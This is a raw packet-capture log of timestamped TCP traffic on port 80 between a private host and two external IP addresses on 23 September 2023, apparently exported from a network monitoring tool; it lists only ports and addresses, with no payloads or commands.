Sep 23, 2023 17:53:20.234559059 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.245181084 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.245358944 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.256048918 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.266530037 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.266983032 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.277132988 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.287875891 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.287974119 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.298367977 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.309125900 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.309216022 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.319684982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.330450058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.330574036 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.340831995 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.351540089 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.351739883 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.362170935 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.372844934 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.372915030 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.485189915 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.490550995 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.490658045 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.501183033 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.511878014 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.511949062 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.522465944 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.532991886 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.533046007 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.543711901 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.554349899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.554416895 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.564956903 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.575493097 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.575542927 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.586669922 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.596829891 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.596894026 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.607505083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.618133068 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.618196964 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.628709078 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.639355898 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.639436007 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.649471045 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.659463882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.659714937 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.668649912 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.677963972 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.678128958 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.686791897 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.695516109 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.695571899 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.704335928 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.713069916 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.713138103 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.721755028 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.730568886 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.730622053 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.739388943 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.748197079 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.748262882 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.756973982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.765674114 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.765748978 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.774391890 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.783221960 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.783304930 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.792032003 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.800811052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.800879002 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.800915956 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.811448097 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.811503887 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.811518908 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.822344065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.822407007 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.822427034 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.833199024 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.833225965 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.833264112 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.834959030 CEST	49787	80	192.168.2.4	5.42.92.211
Sep 23, 2023 17:53:20.844077110 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.844137907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.844137907 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.854784012 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.854830027 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.854854107 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.865709066 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.865729094 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.865770102 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.876667023 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.876732111 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.881866932 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.881908894 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.881956100 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.892637014 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.892673016 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.892729044 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.903614998 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.904011011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.904073000 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.914336920 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.914355040 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.914417982 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.925157070 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.925211906 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.925364017 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.935986042 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.936252117 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.936317921 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.946861982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.946882010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.947105885 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.957726002 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.957793951 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.957947969 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.970374107 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.970457077 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.970627069 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.979207993 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.979258060 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.979335070 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:20.990065098 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.990192890 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:20.990252018 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.000709057 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.000780106 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.000829935 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.016503096 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.034077883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.034107924 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.034140110 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.051827908 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.051884890 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.051892996 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.069530964 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.069549084 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.069684982 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.086775064 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.086827993 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.086836100 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.104291916 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.104341984 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.104345083 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.116106987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.116143942 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.116172075 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.125956059 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.126005888 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.126033068 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.136864901 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.136938095 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.136944056 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.147651911 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.147720098 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.147749901 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.158381939 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.158400059 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.158546925 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.168340921 CEST	80	49787	5.42.92.211	192.168.2.4
Sep 23, 2023 17:53:21.168426037 CEST	49787	80	192.168.2.4	5.42.92.211
Sep 23, 2023 17:53:21.169256926 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.169317007 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.169317007 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.180134058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.180182934 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.180202007 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.182871103 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.182924032 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.185877085 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.185959101 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.186009884 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.189322948 CEST	49787	80	192.168.2.4	5.42.92.211
Sep 23, 2023 17:53:21.196089983 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.196108103 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.196192026 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.208529949 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.208561897 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.208617926 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.217910051 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.217959881 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.218022108 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.228944063 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.229017973 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.229068995 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.239895105 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.240016937 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.240077972 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.250555992 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.250628948 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.250688076 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.261504889 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.261526108 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.261591911 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.274274111 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.274295092 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.274406910 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.282684088 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.282740116 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.282828093 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.293544054 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.293697119 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.293757915 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.304280996 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.304439068 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.304512978 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.337763071 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.355289936 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.355360985 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.355451107 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.373419046 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.373469114 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.373497963 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.390587091 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.390605927 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.390654087 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.408169985 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.408188105 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.408241987 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.419771910 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.419852972 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.419903994 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.429569960 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.429631948 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.429800034 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.440762997 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.440815926 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.440963030 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.450999022 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.451037884 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.451066017 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.461965084 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.462035894 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.462126970 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.464131117 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.464190006 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.464221954 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.472785950 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.472848892 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.483527899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.483594894 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.483654022 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.486387968 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.486462116 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.486522913 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.489995003 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.490011930 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.490106106 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.499603033 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.499686956 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.499757051 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.512088060 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.512105942 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.512171984 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.521470070 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.521554947 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.521616936 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.522881031 CEST	80	49787	5.42.92.211	192.168.2.4
Sep 23, 2023 17:53:21.532629967 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.532702923 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.532754898 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.543402910 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.543421030 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.543503046 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.553989887 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.554064035 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.554120064 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.565038919 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.565151930 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.565213919 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.578005075 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.578175068 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.578233957 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.586431026 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.586471081 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.586525917 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.597409010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.597568989 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.597626925 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.608114004 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.608134031 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.608203888 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.659065962 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.676815987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.676884890 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.676949978 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.694150925 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.694241047 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.694293976 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.711935997 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.711986065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.712007999 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.723198891 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.723248959 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.723259926 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.733040094 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.733105898 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.733113050 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.744292021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.744366884 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.744374990 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.754561901 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.754611015 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.754626989 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.765227079 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.765275002 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.765296936 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.767596960 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.767671108 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.767671108 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.776287079 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.776324987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.776354074 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.786967993 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.787024021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.787043095 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.790102005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.790138960 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.790164948 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.793615103 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.793684006 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.795459986 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.795913935 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.795984030 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.803297043 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.803364038 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.803416014 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.815644979 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.815664053 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.815723896 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.824964046 CEST	80	49781	5.42.65.80	192.168.2.4
